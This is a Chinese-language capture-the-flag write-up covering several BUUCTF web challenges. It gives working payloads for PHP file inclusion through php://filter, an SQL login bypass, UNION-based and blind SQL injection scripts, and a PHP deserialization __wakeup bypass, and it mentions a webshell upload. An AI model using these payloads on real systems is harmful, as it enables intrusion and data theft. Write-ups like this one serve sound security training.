BUUCTF web 极客大挑战 2019

Secret File

 在源码之中得到一个php页面

 后面页面之中


 根据提示抓包，在其中返回的页面得到了信息

 得到源码，根据源码，发现存在文件包含漏洞

 利用php伪协议，获取flag.php的信息，拿取flag
payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

Havefun

源码中发现代码

构造输入，获取flag

EasySQL

 利用万能密码，直接得到flag

admin' or 1=1#

Upload

能上传phtml类型文件
不能包含<?
所以使用javascript中的语法，调用php，实现一句话木马

利用蚁剑连接，拿到flag

PHP

 经过测试，找到了www.zip这个备份文件。

 index.php中找到了一个反序列化的php函数：

 class.php里面存在一个类：

 根据类里面的信息，需要绕过__wakeup()获取flag，具体可以更改序列化后类属性的字段，大于本身的字段就可以绕过。
 私有属性反序列化之后，其属性名前面需要加\0。
payload:

import requests
s = 'O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}'
url = 'http://32eeec15-b10b-477f-9dc9-3d492ae6c7df.node3.buuoj.cn/?select='
r = requests.get(url+s)
r.text

Knife

 菜刀连接，在根目录找到flag

LoveSQL

 首先尝试万能密码admin’ or 1=1#，成功登录进去

 尝试在username注入：

// order by 注入查看字段，检查出字段为3
?username=admin%27+order+by+4%23&password=123

//联合注入，查找数据库
?username=admin1%27+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata%23&password=123
//information_schema,test,performance_schema,mysql,geek，geek是当前数据库

//搜索geek数据库的表名
?username=admin1%27+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='geek'%23&password=123
//geekuser,l0ve1ysq1

//查询表l0ve1ysq1
?username=admin1%27+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_schema='geek'+and+table_name='l0ve1ysq1'%23&password=123
//id,username,password

//查询password字段，得到flag
?username=admin1%27+union+select+1,2,group_concat(password)+from+l0ve1ysq1%23&password=123

Http

页面提示，访问Secret.php，首字母记得大写。。。

上burp，加Rerferer

改UA

加XFF

拿到flag

FinalSQL

sql盲注，但是注入点被隐藏了，可以在源码中找到

更改源码并输入选择后，跳转到了search.php界面，并且是get传参，之后，检查过滤字符，初步检查过滤了空格，还有内联注释，不能直接内联注释绕过了，改用括号代替空格，最后脚本：
ps: 二分法还是快很多的，延迟也加上，没加延时收到很多错误数据，自己电脑太差了😭

import requests
import sys
import time

url = "http://66bb3fde-091a-402c-9d3e-828369716f57.node3.buuoj.cn/search.php?id=1^"

s = ''
for i in range(1,1000):
    left = 30
    right = 130
    while left != right:
        time.sleep(0.1)
        mid = (left+right)//2
        #url1 = url+"(ascii((substr((select(database())),%d,1)))>%d)" % (i, mid) # 获取数据库
        # 获取表名
        #url1 = url+"(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)" % (i, mid)
        # 获取列名
        #url1 = url+"(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='Flaaaaag'),%d,1))>%d)" % (i, mid)
        # 读取数据
        url1 = url+"(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, mid)
        #print(url1)
        r = requests.get(url1)
        if "ERROR" in r.text:
            left = mid+1
        else:
            right = mid
    if left == 30:
        break
    else:
        s += chr(left)
        print(s)
print(s)

个人微信公众号，喜欢的话，随手关注一下啦